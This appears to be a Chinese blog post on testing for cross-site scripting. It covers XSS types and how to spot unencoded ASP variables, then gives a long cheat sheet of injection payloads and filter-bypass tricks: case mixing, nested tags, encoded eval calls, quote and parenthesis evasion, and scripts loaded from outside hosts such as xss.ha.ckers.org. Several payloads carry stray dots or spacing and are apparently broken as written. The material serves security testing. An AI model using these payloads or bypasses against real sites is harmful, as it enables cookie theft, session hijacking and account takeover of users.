XSS注入测试思路+通用语句

发布时间 2023-12-30 23:27:00作者: 橙子全栈测试笔记

一、XSS分类

第一种:反射型

页面仅把用户输入直接回显在页面或源码中,需要诱使用户点击才能成功。

第二种:持久型

XSS 攻击代码会被存储在服务器中,由于用户可能会主动浏览被攻击页面,此种方法危害较大。

第三种:DOM 型( DOM Based XSS )

通过修改页面的 DOM 节点形成 XSS,严格来讲也可划为反射型 XSS。

二、如何测试XSS漏洞

 

方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

 方法二: 准备测试脚本

 在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)  

方法三:  自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 比如 burp xssvalidator  ,钓鱼利用平台:beef,xssPlatform

三、常用测试语句

<script>alert('hello,gaga!');</script> //经典语句,哈哈!

>"'><img src="javascript.:alert('XSS')">

>"'><script>alert('XSS')</script>

<table background='javascript.:alert(([code])'></table>

<object type=text/html data='javascript.:alert(([code]);'></object>

"+alert('XSS')+"

'><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert(vulnerable)</script>

<script>alert('XSS')</script>

<img src="javascript:alert('XSS')">

%0a%0a<script>alert(\"Vulnerable\")</script>.jsp

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

<script>alert('Vulnerable')</script>

a.jsp/<script>alert('Vulnerable')</script>

"><script>alert('Vulnerable')</script>

<IMG SRC="javascript.:alert('XSS');">

<IMG src="/javascript.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"("XSS")>

<IMG SRC="jav	ascript.:alert('XSS');">

<IMG SRC="jav
ascript.:alert('XSS');">

<IMG SRC="jav
ascript.:alert('XSS');">

"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out

<IMG SRC=" javascript.:alert('XSS');">

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<BODY BACKGROUND="javascript.:alert('XSS')">

<BODY ONLOAD=alert('XSS')>

<IMG DYNSRC="javascript.:alert('XSS')">

<IMG LOWSRC="javascript.:alert('XSS')">

<BGSOUND SRC="javascript.:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">

<IMG SRC='vbscript.:msgbox("XSS")'>

<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">

<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>

<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>

<TABLE BACKGROUND="javascript.:alert('XSS')">

<DIV STYLE="background-image: url(javascript.:alert('XSS'))">

<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">

<DIV STYLE="width: expression(alert('XSS'));">

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE='xss:expre\ssion(alert("XSS"))'>

<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>

<BASE HREF="javascript.:alert('XSS');//">

getURL("javascript.:alert('XSS')")

a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);

<XML SRC="javascript.:alert('XSS');">

"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"

<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>

<IMG SRC="javascript.:alert('XSS')"

<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

四、常见绕过方法

1、大小写绕过

当网站仅过滤<script>或者<img>等标签,而没有考虑标签中的大小写并不影响浏览器的解析所致。如:

<sCript>alert("hey!")</scRipt>

<IMG SRC=JaVaScRiPt:alert('XSS')>

 

2、只过滤一个标签

例如:双写,让过滤完script标签后的语句中还有script标签

<sCri<script>pt>alert("hey!")</scRi</script>pt>

 

3、编码脚本代码绕过关键字过滤

当服务器对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,所以可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行。

例如alert(1)Unicode编码过后就是:

\u0061\u006c\u0065\u0072\u0074(1)

所以构建出来的攻击语句如下:

<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

 同理还可以使用诸如url编码、Ascii码、base64、十六进制、八进制绕过等。

 

4、主动闭合标签实现注入代码

如以下两个例子:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

";alert("I am coming again~");"

 

5、其他标签注入代码

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 
//当用户鼠标移动时即可运行代码

<div onmouseover=‘do something here’>   
//当用户鼠标在这个块上面时即可运行,可以配合weight等参数将div覆盖页面

<img src='k.7' onerror='alert("hey!")'> 
//指定的图片地址不存在,即一定会发生错误,这时执行onerror里面的代码进行弹窗

 

6、字符拼接

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">  //利用eval

<script>top["al"+"ert"](`xss`);</script>  //利用top

 

7、过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

 

8、过滤单引号、双引号

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号。

<img src="x" onerror=alert(`xss`);>

 

9、过滤url地址

1)编码绕过

2)html标签中用 // 可以代替 http://

<img src="x" onerror=document.location=`//www.baidu.com`>

3)使用\\

在 windows下 \ 本身就有特殊用途,是一个 path 的写法,所以 \\ 在 Windows 下是 file协议,在 linux 下才是当前域的协议。